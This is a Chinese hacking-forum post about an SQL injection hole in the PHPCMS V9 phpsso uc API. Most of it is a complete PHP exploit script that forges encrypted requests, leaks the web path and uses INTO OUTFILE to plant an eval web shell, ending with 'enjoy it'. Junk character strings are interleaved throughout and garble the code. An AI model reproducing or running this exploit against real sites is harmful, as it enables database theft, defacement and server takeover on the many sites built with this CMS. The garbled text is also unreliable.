找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1903|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。
  y  c  Z/ `2 g# r
4 A0 C- }3 r, j4 K8 V所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。
! w0 o5 n: |  p& \' P/ {5 O: N8 v0 H0 v( h" w- o5 c
漏洞分析:
9 F) I( _0 _4 B8 d) y6 I3 R: g1.未启用ucenter服务的情况下uc_key为空
) L8 a/ c+ Z2 T5 M4 |+ bdefine('UC_KEY', pc_base::load_config('system', 'uc_key'));
0 T5 b/ p+ |2 B# X( ~' m2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。
# v+ U  t- m1 k$ S" f9 Y    public function deleteuser($get,$post) {8 B& T0 |$ Z) a$ Z" g! s) T' N2 Y" C- n* b
        pc_base::load_app_func('global', 'admin');
* t9 ^' ^7 o3 r        pc_base::load_app_class('messagequeue', 'admin' , 0);
; @* b. ?3 Z* a% Q3 n        $ids = new_stripslashes($get['ids']);
/ e% P# q( x$ b- T        $s = $this->member_db->select("ucuserid in ($ids)", "uid");+ ~) j& @4 x9 s, ~
SQL语句为
1 \& z. r% s3 S6 j7 KSELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
. f" _2 l% a0 I5 w4 i# y) t
: |  M/ M) o. |0 w利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell* w% Z6 A1 h' h) Z  }
<?php
1 Q1 G  s5 ?, b0 v* C; ^print_r('9 \( Q: \, l& O% x
---------------------------------------------------------------------------
. N/ E4 h8 w, I3 I0 t9 p+ o) mPHPcms (v9 or Old Version) uc api sql injection 0day
9 k* x& a$ V; [4 S  y. Pby rayh4c#80sec.com4 n9 ~* b# _+ i! \5 n
---------------------------------------------------------------------------1 t4 [, u$ s% Z# S$ p( `% |1 F
');0 L# k  Z6 _3 d* K1 p  D
/ P% E: t# b6 }5 n( L  {4 _2 N- R( _7 c
if ($argc<3) {
6 b* ?9 l; G6 L3 e    print_r('
. z( [" ~: Y! [  E' X4 x5 ~---------------------------------------------------------------------------
& O2 Z& w$ X. wUsage: php '.$argv[0].' host path OPTIONS6 K- `* ]7 i6 W  X4 D$ A
host:      target server (ip/hostname)
% [' W5 h( f8 I8 G, s* J; npath:      path to phpcms
* z- ?& U& ]. oOptions:$ Z3 X$ d! t) D
-p[port]:    specify a port other than 80
7 }4 Q: U+ w5 G" W. L* } -P[ip:port]: specify a proxy
8 w, E9 k$ E" i4 {& J' D; Q# nExample:! i; x: O! G/ b  o' B, A5 }0 P5 w2 }
php '.$argv[0].' localhost /
9 `. g! T4 @0 d& ^4 _3 P4 dphp '.$argv[0].' localhost /phpcms/ -p81# a) n* k2 D: S& {  b
php '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
2 D1 V# `/ B6 J) m---------------------------------------------------------------------------
% Y* j! h& O0 @% ^');
+ x+ z: s; U' h* i# P1 F    die;
3 J$ B" ]/ q# L- B* W7 ]2 K  Z/ z}. D( ?% m$ U+ p/ g; @* X+ v8 d
$ t, |* s! m/ }3 R; |3 p
error_reporting(7);- D# t/ K: |. g9 K; [: Y6 r! @: `7 q: ^
ini_set("max_execution_time",0);: d9 a. H2 G/ u9 Z8 X6 R
ini_set("default_socket_timeout",5);' m2 k9 z  S* w$ s$ s" t; k; B
4 A( I4 Q8 A- ~$ c
function quick_dump($string)
, p; T; Z4 z# w4 T: d) g) U{4 V: a. A! D8 y
  $result='';$exa='';$cont=0;, U: M( F$ B3 s: [
  for ($i=0; $i<=strlen($string)-1; $i++)# O3 q( [; T6 ]% e0 N
  {
: K3 o/ P7 [' U3 }   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )): J9 `% U8 i; C5 `
   {$result.="  .";}
# k" ^' u: w. y& l   else
5 ~  @6 O6 G2 I2 K# {9 r1 B4 [2 Y! z6 z   {$result.="  ".$string[$i];}
- e: w2 e9 u( {$ K# w   if (strlen(dechex(ord($string[$i])))==2)
' e$ w( F$ {2 |4 l4 F9 Q   {$exa.=" ".dechex(ord($string[$i]));}
& l, u* W0 `- V) b. n5 t* G   else* }1 r+ `, Z, T. h8 t. }8 [& o! ~
   {$exa.=" 0".dechex(ord($string[$i]));}
; U  E: S, |$ K# K+ H) w3 R2 q) |1 Z   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}; z9 J, |9 r, Z! Z: q" ^
  }" U* }. _4 }( a" z7 m: w! C2 ?
return $exa."\r\n".$result;
' r: _! ]1 H4 b/ x# o: p" I6 o}
% c/ G$ w4 C# r4 D6 s. {$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';! Q& A. t5 d/ H& f

( s6 C. x( |+ c6 ~function send($packet)
0 N' h3 f3 Q$ d8 ~. m{  s9 W5 g: N" c9 L- a
  global $proxy, $host, $port, $html, $proxy_regex;1 {5 ?' Y6 M) n* N! z
  if ($proxy=='') {% P# h6 u& p, F" [& v% l1 ]
    $ock=fsockopen(gethostbyname($host),$port);- O: |/ {- W+ E' q5 u! P" e
    if (!$ock) {' ]) ~: ]# G0 Q/ H0 S9 T
      echo 'No response from '.$host.':'.$port; die;
6 g2 \7 Z: _# u( ?3 c) r& Q6 d    }
7 R, d2 a8 D. i9 L1 t  }, r- [2 y+ i+ A( ?, w+ T2 X5 z
  else {, l) B/ C  R! P) J; H9 K) J# m
        $c = preg_match($proxy_regex,$proxy);
* R0 t! ^: U* l; L& |0 M( Y    if (!$c) {! ~1 e# l; i7 S0 O) X. W; V- d
      echo 'Not a valid proxy...';die;% x9 B: F0 X( K0 ^- e' d3 H9 u
    }2 m, ?+ `  J5 l3 I7 Z, b; e
    $parts=explode(':',$proxy);
1 c& _# p7 }7 s    $parts[1]=(int)$parts[1];% y9 P* I: n: K+ v9 F9 Y2 m7 c
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";1 O) w* R& T2 ]( d
    $ock=fsockopen($parts[0],$parts[1]);6 n2 Y" Q5 L/ @1 w3 H
    if (!$ock) {7 W  J3 d: Y: W; \# g' L. T
      echo 'No response from proxy...';die;6 G$ ~1 Y6 h* @8 ~& m3 W
        }
- S! ]3 x  E/ [2 a  }- e% I# m* S# A0 }
  fputs($ock,$packet);6 q) O  ~4 M2 l( {
  if ($proxy=='') {+ c8 ?% b3 a- e( y' `$ g
    $html='';$ Q* j! N, H6 k: p$ P6 T0 ]
    while (!feof($ock)) {
' u% f9 N4 t4 G. P9 {/ t1 ^) U      $html.=fgets($ock);2 U$ ]! l$ c2 W0 w. |
    }) t8 i9 T2 [+ B0 @" H! r: c
  }0 z* l4 t4 g4 V$ w( k
  else {
* C$ l* L) z  b2 G; U  z! ]    $html='';
6 O. N$ N! R& W    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {! M( p  j+ R& X: P4 t) D
      $html.=fread($ock,1);# F2 \  L# \3 C5 X4 F5 S( |
    }7 h; m  ^3 V5 h, O& q4 I
  }
0 a9 B( W6 ]  L9 F  fclose($ock);
4 s7 F. u1 l- W7 V}, w! P4 ~& ?! w. ^( t6 Y* ~

% `- T0 B2 V, {" E8 R$host=$argv[1];2 O; M; S4 M3 A( K
$path=$argv[2];
9 G) F/ D. j& P. a# u$port=80;1 o' A7 i3 d3 l4 R
$proxy="";7 M* F+ W* u; `4 `1 ^- l
for ($i=3; $i<$argc; $i++){
) d. t  i2 p, J, A: {: r9 y$temp=$argv[$i][0].$argv[$i][1];6 r& G# ], w& i4 z! p- S7 C
if ($temp=="-p")
5 k5 K& W; X4 p/ J3 C  P' M0 M$ T{
; Y4 v& i. l: U5 {3 t, G2 Y: O: U  $port=(int)str_replace("-p","",$argv[$i]);& G- E6 J* b% r3 b
}: ]6 I2 a) W+ L# S& V
if ($temp=="-P")
- j! F8 T' i" I, g' U{% g7 m, b, n* b4 i
  $proxy=str_replace("-P","",$argv[$i]);
% |3 P: Q9 X1 F8 k. g+ J}+ b2 b+ f& ~5 ]* A  f1 M9 t
}4 d9 R2 g5 J6 g+ X

6 M9 }3 N/ v, W4 Y/ d* @5 eif (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
, T3 q0 w$ z) e5 B8 M$ W- Jif ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}, t. W" a5 \: W: }0 w9 h

& |2 D" b  w- O% X/ Efunction authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {$ M" S: m, X: N4 C
  Q8 |# q- i; s- k& ^4 J% v
    $ckey_length = 4;
4 ^. @7 ?4 y5 X# Z9 A! V- V, h" ~7 b7 j) m$ e# y  G
    $key = md5($key ? $key : '');
. e7 D2 ]; D2 k* ], h    $keya = md5(substr($key, 0, 16));
! B1 c) O* s( }6 C; Z  P    $keyb = md5(substr($key, 16, 16));& g. d' b7 V$ w9 j: X( N3 }8 e; p
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
3 {8 t' h' k6 D* i7 A" G8 m9 d" J  I- H
    $cryptkey = $keya.md5($keya.$keyc);
& X2 O8 E6 t. K+ L! i2 E    $key_length = strlen($cryptkey);  z1 c$ P& W4 L" w2 `

$ i* y% ~" N# L" H9 w    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
; N7 c1 B1 K/ A4 n7 z) h    $string_length = strlen($string);3 O) X1 N3 n+ j
) x2 i" G$ A4 s9 X5 F3 `
    $result = '';( t9 q- F4 r# E% B# ^8 E8 w: n( _
    $box = range(0, 255);5 T; L' v+ h6 ]$ d1 N2 m
3 L9 u! w4 n/ [. i9 b' W- p
    $rndkey = array();4 A0 L- h& Q/ n. z1 i$ l4 R
    for($i = 0; $i <= 255; $i++) {
; v7 K  G1 y; V% L$ }        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
( ]" d- X- a' A( l    }; A; [8 ^+ M9 i' W, Q( R* i

8 n0 Y- Y7 [1 L4 G7 ]+ o, c% [    for($j = $i = 0; $i < 256; $i++) {. U- I7 [& X+ `# m4 X. I
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
; H- Y" K) o' N        $tmp = $box[$i];
, }! N$ _5 W% Z# u0 r* j3 A        $box[$i] = $box[$j];
4 F' m% G" ~. n; R        $box[$j] = $tmp;/ j- Q8 Y8 D# @
    }
5 }7 K) Q7 H2 {& y; N. ^/ J5 b1 I
    for($a = $j = $i = 0; $i < $string_length; $i++) {5 E% J, x4 v1 f# m+ j$ ^
        $a = ($a + 1) % 256;5 {6 ^8 n& t( W1 G  Y& d5 A( }# Q
        $j = ($j + $box[$a]) % 256;+ T+ A: E2 Z/ }0 |( r& x
        $tmp = $box[$a];, a+ Y. q; a' z2 d, m$ E' u
        $box[$a] = $box[$j];' L0 Z4 i, ~7 I! ^6 I+ Y, e3 }
        $box[$j] = $tmp;, D6 h) J3 k% k2 z& Q* v( b' A5 D% C
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
7 S7 ]' ^5 }0 z    }$ w$ |( J, J( {# b9 ]* ]
/ ~' u( ^& {6 n; U
    if($operation == 'DECODE') {
8 w: Z' f  P& |( s        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
) n9 Q( @( O2 J            return substr($result, 26);
3 _6 F0 B2 ^) w$ m" Q        } else {4 G/ U3 H9 _# O  w* u0 l  Z
            return '';& a' K4 Y: z5 X' I& b  N! Q
        }
/ P( ], P: \! F5 o8 i6 s  ?    } else {- p' \; a7 o4 E
        return $keyc.str_replace('=', '', base64_encode($result));
/ @! M" `: P9 E$ x0 ?    }' l* ?' H/ Y1 _- G8 z. v8 g

  \: b$ o* ^% G* N. j}* ?7 Q% G% y2 R+ ^
! Q' H( `1 `' @8 {- E9 ?7 D% ?; |9 y
$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
' d, Z8 w$ e& Z' x, S' Z1 C$SQL = urlencode(authcode($SQL, "ENCODE", ""));
5 L4 s9 I; ^; P" W+ \1 [echo "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";% Z9 i- g1 W8 }  S3 F3 X
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
* o+ r7 a& [& p6 A  L: g  v$packet.="User-Agent: Mozilla/5.0\r\n";
: K7 j' h4 e$ G3 h$ `$packet.="Host: ".$host."\r\n";
& u1 e8 R# S; |0 {4 g2 o5 j: ~; ]2 H$packet.="Connection: Close\r\n\r\n";% f  Y; p/ M5 O# n" k: e
send($packet);) [0 P& K* g3 C7 W- Z1 F. i2 }
if(strpos($html,"MySQL Errno") > 0){& B) O' F# F/ y4 [+ M
echo "[2] 发现存在SQL注入漏洞"."\n";7 S' ^5 ^; D) c: _$ \8 n
echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";
6 F3 U3 G- V/ g7 }/ \9 w& S$ ~$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";
$ X- Y. A$ |* R4 V$packet.="User-Agent: Mozilla/5.0\r\n";3 u9 ~- c5 [5 s- F0 Z$ S8 p0 U/ U9 D" r5 R
$packet.="Host: ".$host."\r\n";
) n0 m9 S; A& M: e, \" k9 ?: N$packet.="Connection: Close\r\n\r\n";3 v0 Q  X+ T. m8 \9 S! t7 D& e, O- |
send($packet);$ k/ f' C7 f3 U$ v+ ?% X
preg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);
3 Q' b# B" O" L2 @6 K/ q//print_r($matches);3 C: T- G5 x+ A" L2 d* @! C
if(!empty($matches)){* |. H) u$ l! T9 b3 r% u
echo "[4] 得到web路径 " . $matches[0]."\n";
) T1 h  h- q' E8 f( f0 I% Y8 Decho "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";# S% O3 g. x' P1 q3 x6 D8 B
$SQL = "time=999999999999999999999999&ids=1)";
, s) t/ p% R9 c$ f1 B; @$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
5 k! j# g- V2 P& m+ T  d- N$SQL.="&action=deleteuser";
+ V/ ]( D6 ^& I# n0 P# Y$SQL = urlencode(authcode($SQL, "ENCODE", ""));+ z! X6 M* w3 w$ C: q9 _3 c$ ^% I
echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
$ w) @+ p2 p* W, h. }2 O$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";
% b- ?. I, S7 f4 ?; G$packet.="User-Agent: Mozilla/5.0\r\n";
5 x9 J3 `& n' n$ v$packet.="Host: ".$host."\r\n";
7 l9 F8 ?3 V" D- n* I$packet.="Connection: Close\r\n\r\n";1 t, f4 ~8 T. W4 ~
send($packet);
5 [0 o1 }0 ?* Pif(strpos($html,"Access denied") > 0){
- ^% h/ p0 w4 R8 |echo "[-] MYSQL权限过低 禁止写入文件 ";
5 }; \3 ]* e6 n# L$ z) bdie;
( S3 a  V# g  E# y0 u+ \% _7 p}
+ Q$ t- V! N9 Y1 Y& a0 y" ?echo "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";7 ?4 c8 y( Q" a+ M9 d0 e/ p9 d7 u
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";( D6 d; _  t+ h, o5 F
$packet.="User-Agent: Mozilla/5.0\r\n";, O( t( _3 e9 Y; Q
$packet.="Host: ".$host."\r\n";
& N4 _: K  r/ p7 K- [# [( o$packet.="Connection: Close\r\n\r\n";
3 h8 Y$ C" L7 [" Q- `send($packet);& y( L! o! N( I8 _
if(strpos($html,"<title>phpinfo()</title>") > 0){
$ K* `1 K) a/ ]% `3 s2 o; ?echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";4 C; p) A" r! w
}
  N7 D6 A! M$ N9 f" Z9 N( v}else{
5 I) |7 [( `; C- fecho "[-]未取到web路径 ";
8 K" z2 F4 R1 C4 N- _/ C0 k}8 I4 w2 l8 m/ L9 D' q
}else{, {- o& _# y! b( Q( L5 P
echo "[*]不存在SQL注入漏洞"."\n";8 N( Y. R9 X1 G4 o( U! N% _
}! O; W) P/ I4 g3 b, _
1 x  a9 }' W/ ?" [8 E, U! T
?>% ~3 V$ G0 a  c4 A2 J6 ^
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表